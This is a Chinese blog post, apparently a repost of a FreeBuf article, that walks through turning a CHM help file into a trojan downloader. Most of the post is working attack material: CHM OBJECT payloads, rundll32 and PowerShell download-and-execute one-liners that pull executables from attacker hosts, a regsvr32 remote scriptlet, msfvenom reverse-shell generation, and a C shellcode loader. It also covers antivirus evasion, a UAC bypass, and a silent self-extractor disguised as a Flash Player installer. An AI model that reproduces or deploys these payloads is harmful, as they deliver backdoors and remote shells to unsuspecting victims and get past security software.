Loading

CHM渗透:从入门到“入狱”

原文:http://www.freebuf.com/articles/system/119874.html

某日嶽兄激动的说他的chm自动反弹shell做好了,急匆匆的拿我们测试,结果…一定是出bug了,我看了下演示(对不起,我实在编不下去了)。文章给出最终版代码,测试的心酸撸主右手可以作证。  

第一章 CHM社工 

当ithurricanept在发twitter的时候估计我在东北玩泥巴,看了Demo吓得我赶紧注册了个twitter并且Follow了TA。

Clipboard Image.png

Demo代码应该是这样的:

 

<OBJECT id=xclassid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1height=1>

<PARAM name="Command"value="ShortCut">

<PARAM name="Button"value="Bitmap::shortcut">

<PARAM name="Item1"value=',calc.exe'>

<PARAM name="Item2"value="273,1,1">

</OBJECT>

<SCRIPT>

x.Click();

</SCRIPT>

打开该CHM文件即弹出计算器,之后Samratashok也推出了他的Out-CHM(使用参数HHCPath指定自己的hhc路径),使用CHM执行powershell脚本,但唯一不足就是会弹出黑框。

 

PS D:\nishang\Client> Import-Module.\Out-CHM.ps1

PS D:\nishang\Client> get-help Out-CHM -examples

PS D:\nishang\Client >Out-CHM-PayloadURL http://192.168.254.1/Get-Information.ps1 -HHCPath " C:\ProgramFiles (x86)\HTML Help Workshop"

 

Clipboard Image.png

 

##反编译CHM

 

hh -decompile test doc.chm 

##Out-CHM PAYLOAD 

<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"width=1 height=1>

<PARAM name="Command" value="ShortCut">

<PARAM name="Button" value="Bitmap::shortcut">

<PARAM name="Item1" value=",cmd.exe,/cC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden-ExecutionPolicy Bypass -NoLogo -NoProfile IEX ((New-ObjectNet.WebClient).DownloadString('http://192.168.254.1/Get-Information.ps1'));">

<PARAM name="Item2"value="273,1,1">

</OBJECT> 

<SCRIPT>

x.Click();

</SCRIPT> 

 

 

##有用链接

ithurricanept

https://twitter.com/ithurricanept/status/534993743196090368

HTML Help Workshop

http://www.microsoft.com/en-us/download/details.aspx?id=21138

nishang

https://github.com/samratashok/nishang 

第二章讨厌的黑框

nishang的黑框真的很让人捉急,不知道他找到解决办法了没,但是国内聪明的Evi1cg在某个晚上突然就想到了,反正他是这么说的。

通过rundll32.exe执行js

 

rundll32.exejavascript:"\..\mshtml,RunHTMLApplication ";alert('foo');

 

Clipboard Image.png

Rundll32漏洞配合JSRAT做出了近乎完美的后门,写入注册表即可实现开机启动。

注册脚本组件

 

regsvr32.exe /u /n /s/i:http://10.10.10.10:31337/file.sct scrobj.dll 

 

##有用链接

evi1cg

http://evi1cg.me/archives/chm_backdoor.html

从恶意软件获得的新姿势—通过rundll32.exe执行js原理详细分析

http://bobao.360.cn/learning/detail/164.html

JSRat

https://github.com/Hood3dRob1n/JSRat-Py

第三章强大的Powershell

但是我只想用它来下载一个后门并执行,于是乎开始了各种折腾。首先测试powershell的下载执行,然后嵌入rundll32测试,最后生成CHM再测试。 

##Powershell下载并执行

 

powershell -WindowStyle hidden -nologo -noprofile-ep bypass IEX(New-Object Net.WebClient).DownloadFile('http://xxx.xxx.xxx.xxx/sn.exe','..\\sn.exe');&cmd/c ..\\sn.exe

 

Powershell的下载可谓是五花八门,最后我还是选择了常用的DownloadFile(),将文件下载到上层目录(当C:\没有权限时powershell就会将文件直接下载到用户当前目录下;env:\temp环境变量在低版本powershell中没有;start-process -nonewwindow ‘sn.exe’似乎不等待下载完成便会调用),并通过&符号连接命令运行下载的程序。 

##嵌入rundll32

 

rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication";document.write();r=new%20ActiveXObject("WScript.Shell").run("powershell-WindowStyle hidden -nologo -noprofile -ExecutionPolicy Bypass IEX (New-ObjectNet.WebClient).DownloadFile("http://139.*.*.*/sn.exe","..\\sn.exe");&cmd/c ..\\sn.exe",0,true);

 

##生成CHM

 

<OBJECT id=xclassid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1height=1>

<PARAM name="Command"value="ShortCut">

<PARAM name="Button"value="Bitmap::shortcut">

<PARAM name="Item1"value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication";document.write();r=new%20ActiveXObject("WScript.Shell").run("powershell-WindowStyle hidden -nologo -noprofile -ExecutionPolicy Bypass IEX (New-ObjectNet.WebClient).DownloadFile('http://192.168.0.101/flashplayer23_ha_install.exe&#39;,'..\\setup.exe');&cmd/c ..\\setup.exe",0,true);'>

<PARAM name="Item2"value="273,1,1">

</OBJECT> 

<SCRIPT>

x.Click();

</SCRIPT> 

 

单双引号真的会把人逼疯的,在CHM中需用’代替双引号,尝试使用base64编码powershell命令,但是嵌入rundll32测试语法错误,一时无解。

##有用链接 

第四章 msf后门升级

CHM做好了,下面制作后门。开始选用新版cobaltstrike的DNS上线,结果域名测试都没问题,生的的马儿就是不上线,无奈放弃。最后选择msf的reverse_tcp。

生成马儿

 

msfvenom -a x86 --platform windows -p windows/shell/reverse_tcplhost=192.168.6.12 lport=80 EXITFUNC=thread -e x86/shikata_ga_nai -b '\x00' -i3 -f exe -o /tmp/bdoor.exe 

 

生成shellcode

 

msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp lhost=192.168.6.12 lport=80 -e x86/shikata_ga_nai -b'\x00' -i 3 -f c

 

##免杀

OWASP-ZSC

可以生成下载执行,添加用户,创建文件等的shellcode;

听说你可以混淆代码,原来只支持javascript perl php python ruby,更别说混淆现有shellcode了;

https://github.com/zscproject/OWASP-ZSC

Veil-Evasion

使用现有payload一键生成可执行文件。有c,python,go,ruby的meterpreter反弹后门,go和python生成的可执行文件高大4M,还不如自己使用python ctypes加载shellcode,生成exe,实用价值不大。

https://www.veil-framework.com/framework/veil-evasion/

C加载shellcode

传说中的C语言执行shellcode的五种方法只能在VC6.0下通过,VS用户真的伤不起。 

VC6.0

 

main(){

( (void(*)(void))&shellcode )(); 

}

VS下

 

#include <Windows.h>

#include <string.h>

#include <stdio.h>

unsigned char shellcode2[] =

         "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"

         "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff";

int main(){

         PVOIDp;

         p= VirtualAlloc(NULL,sizeof(shellcode),MEM_COMMIT,PAGE_EXECUTE_READWRITE);

         if(p != NULL){

                  //printf("allocok");

                  if(memcpy(p,shellcode,sizeof(shellcode))){

                          //printf("cpok");

                          //CreateThread(NULL,0, (LPTHREAD_START_ROUTINE )p, NULL, 0, NULL);

                          __asm

                          {

                                   moveax,p;

                                   jmpeax;

                          }

                  }

         }

}

 

话说前两天有人发了(TM后来360也杀了),别紧张,那不是我。msf后面免杀方式多样,但一般也不外乎以下几点。

1,静态文件特征免杀

msfvenom -l encoders提供了多种编码方式,x86/shikata_ga_nai仍是目前excellent。但你一定会喜欢上Unest二进制代码混淆器的。

2,行为查杀

Cobaltstrike http上线方式请求的页面有固定格式,msf对传输的数据可以异或或者加密。

3,内存查杀

其后我将其做成管理员组用户执行直接绕过UAC自动安装成服务,启动延时3分钟(主要是开机的时候可能还没网,连接不成功便会结束程序),在执行绕UAC时system(“cmd.exe /c eventvwr.exe”);时有黑框,使用CreateProcess API创建这个进程。http://www.virustotal.com扫描仅F-PROT报毒(这应该是个梗)。

Clipboard Image.png

使用自解压程序安装服务

话说360看到是自解压程序就杀,果然是这样的。 

##自解压程序折腾之静默模式

1, 首先能想到的就是winrar,但是winrar自解压换个ico你都杀,一会儿杀一会儿不杀的尿性始终没变;

2, 只要是加UPX壳就杀;

3, IExpress 打包啥都杀;

4, 7-ZIP SFX 自解压;

5, makesfx.exe 新版真心好用,测试一会儿直接杀;

6, ZIP 2 Secure EXE 用起来满满的心累;

7, WinZip Self-Extractor 完成后必须弹框是什么意思?

8, 其他方式

最后还是选用rar的自解压,下载英文版各版本winrar,安装后复制里面的Default.SFX和rar.exe保存,使用不通的rar版本生成自解压程序。

##自解压文件制作

创建Silent.sfx静默安装配置文件,其实就是注释啦。

程序传入bypass参数绕过UAC并安装服务

 

Setup=wdevmtsvc.exe bypass

TempMode

Silent=1

Overwrite=2

 

命令行生成自解压文件

 

rar.exe a -r -ep1 -sfx-zSilent.sfx flashplayer23_ha_install.exe wdevmtsvc.exe

 

我以为到这里就完了,结果…

##有用链接

Creating a Self-Extracting Setup ExecutableFile

https://msdn.microsoft.com/en-us/library/aa244282%28v=vs.60%29.aspx

makesfx

http://74.cz/en/make-sfx/index.php

Windows-Services-Application

https://github.com/ru0/Windows-Services-Application

第五章 WSC

朋友说吓了一大跳,等了半天也没见上线。再次本地测试,发现powershell被360卫士给拦截了,尼玛,这是啥时候开始的?无奈,为了过360只能抛弃powershell下载,使用wsc下载执行。

Clipboard Image.png

Windows Script Components (WSC),以前称为Scriplets,是一种以容易的方式开发强大的COM组件的技术。 WSC可以用任何实现了ActiveX脚本接口的脚本语言来编写,这意味着PerlScript代码单元可以封装为Windows脚本组件。

Tips:当你开始看WSC的时候可能会被它繁多的标签搞得云里雾里,你可以使用scriptwz.exe向导生成wsc文件,或者过一阵子再看。

##通过wsc启动计算器

test.wsc文件

<?xml version="1.0"?>

<component>

<script language="JScript">

<![CDATA[

newActiveXObject("WScript.Shell").Run("calc.exe");

]]>

</script>

</component>

 

1.js文件

 

GetObject("script:C:\\test.wsc");

 

 

执行js

 

cscript 1.js

 

 

Clipboard Image.png

 

加载远程wsc,当然你也可以将下载js代码写在CHM里面,不过使用wsc代码更简洁并且可以及时更新下载程序。

 

GetObject("script:http://xxx.xxx.xxx.xxx/test.wsc")

 

 

##下载并执行wsc脚本

 

<?xml version="1.0"?>

<component> 

<?component error="false"debug="false"?> 

<script language="JScript">

<![CDATA[ 

function getFile(strURL){

         varstrResult;        

         try{

                  varWinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1")

                  WinHttpReq.Open("GET",strURL,false);

                  WinHttpReq.Send();

                  WinHttpReq.WaitForResponse();

                  strResult= WinHttpReq.ResponseBody;

         }

         catch(objError){}

         returnstrResult;

var s = new ActiveXObject("ADODB.Stream");

var md = newActiveXObject("WScript.Shell").SpecialFolders("MyDocuments");

md +="\\flashplayer23_ha_install.exe";

s.Mode=3;

s.Type=1;

s.Open();

try{

         s.Write(getFile("http://xxx.xxx.xxx.xxx/flashplayer23_ha_install.exe"));

         s.SaveToFile(md,2);

}

catch(err){}

s.Close();

try{

         newActiveXObject("WScript.Shell").Run(md);

}

catch(err){} 

]]>

</script> 

</component>

 

 

##嵌入rundll32中

 

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();GetObject("script:https://xxx.xxx.xxx.xxx/test.wsc"); 

 

 

##CHM PAYLOAD

 

<OBJECT id=xclassid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1height=1>

<PARAM name="Command"value="ShortCut">

 <PARAMname="Button" value="Bitmap::shortcut">

 <PARAM name="Item1"value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication";document.write();try{GetObject("script:https://xxx.xxx.xxx.xxx/test.wsc");}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd/c taskkill /f /im rundll32.exe",0,true);}'>

 <PARAM name="Item2"value="273,1,1">

</OBJECT> 

<SCRIPT>

x.Click();

</SCRIPT>

 

用我改版的makeCHM.ps1直接生成CHM文件

 

 

.\makeCHM.ps1 -FileName test.htm

 

 

 

 

实际打点效果(windows/shell/reverse_tcp 连接容易失去响应)

 

Clipboard Image.png

 

##有用链接

 

Windows Script Components (WSC)

http://www.xav.com/perl/Windows/windows_script_components.html

Registering a Script Component

https://msdn.microsoft.com/en-us/library/zt97f40t%28v=vs.84%29.aspx

 

ru0 s githubhttps://github.com/ru0

 

1,如何对CHM后门检测。

2,msf虽然简单易用,但是没有会话控制,很容易丢失目标,后期可以考虑自写回连shell代码。

3,对于“没给钱”的服务360卫士检测为“无需启动的程序”。

4,自解压逃不过360sd,考虑自写解压程序或者修改服务程序。

5,若有纰漏,还望指正。

*本文原创作者:ruo ,本文属FreeBuf原创奖励计划,未经许可禁止转载。

posted @ 2016-12-13 19:53  ssooking  阅读(1408)  评论(0编辑  收藏  举报